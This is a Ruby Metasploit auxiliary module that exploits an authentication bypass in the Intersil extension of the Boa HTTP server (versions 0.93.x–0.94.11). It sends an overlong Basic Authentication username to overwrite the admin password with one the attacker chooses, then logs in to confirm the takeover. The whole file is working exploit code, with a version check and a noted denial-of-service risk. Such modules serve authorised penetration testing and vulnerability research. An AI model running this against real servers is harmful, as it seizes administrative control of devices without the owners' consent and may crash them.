116 lines
3.5 KiB
Ruby
116 lines
3.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Intersil (Boa) HTTPd Basic Authentication Password Reset',
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'Description' => %q{
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The Intersil extention in the Boa HTTP Server 0.93.x - 0.94.11
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allows basic authentication bypass when the user string is greater
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than 127 bytes long. The long string causes the password to be
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overwritten in memory, which enables the attacker to reset the
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password. In addition, the malicious attempt also may cause a
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denial-of-service condition.
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Please note that you must set the request URI to the directory that
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requires basic authentication in order to work properly.
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},
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'Author' =>
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[
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'Luca "ikki" Carettoni <luca.carettoni[at]securenetwork.it>', #original discoverer
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'Claudio "paper" Merloni <claudio.merloni[at]securenetwork.it>', #original discoverer
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'Max Dietz <maxwell.r.dietz[at]gmail.com>' #metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'BID', '25676'],
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[ 'URL', 'http://packetstormsecurity.org/files/59347/boa-bypass.txt.html']
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],
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'DisclosureDate' => 'Sep 10 2007'))
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register_options(
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[
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OptString.new('TARGETURI', [ true, "The request URI", '/']),
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OptString.new('PASSWORD', [true, 'The password to set', 'pass'])
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], self.class)
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end
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def check
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begin
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res = send_request_cgi({
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'uri'=>'/',
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'method'=>'GET'
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})
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if (res and (m = res.headers['Server'].match(/Boa\/(.*)/)))
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print_status("#{@peer} - Boa Version Detected: #{m[1]}")
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return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version
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return Exploit::CheckCode::Safe if (m[1][3].ord-48>4)
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return Exploit::CheckCode::Vulnerable
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else
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print_status("#{@peer} - Not a Boa Server!")
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return Exploit::CheckCode::Safe # not a boa server
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end
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rescue Rex::ConnectionRefused
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print_error("#{@peer} - Connection refused by server.")
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return Exploit::CheckCode::Safe
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end
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end
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def run
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@peer = "#{rhost}:#{rport}"
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return if check != Exploit::CheckCode::Vulnerable
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1,1] != '/'
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res = send_request_cgi({
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'uri'=> uri,
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'method'=>'GET',
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'authorization' => basic_auth(Rex::Text.rand_text_alpha(127),datastore['PASSWORD'])
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})
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if res.nil?
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print_error("#{@peer} - The server may be down")
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return
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elsif res and res.code != 401
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print_status("#{@peer} - #{uri} does not have basic authentication enabled")
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return
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end
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print_status("#{@peer} - Server still operational. Checking to see if password has been overwritten")
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res = send_request_cgi({
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'uri' => uri,
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'method'=> 'GET',
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'authorization' => basic_auth('admin', datastore['PASSWORD'])
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})
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if not res
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print_error("#{@peer} - Server timedout, will not continue")
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return
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end
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case res.code
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when 200
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print_good("#{@peer} - Password reset successful with admin:#{datastore['PASSWORD']}")
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when 401
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print_error("#{@peer} - Access forbidden. The password reset attempt did not work")
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else
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print_status("#{@peer} - Unexpected response: Code #{res.code} encountered")
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end
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end
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end
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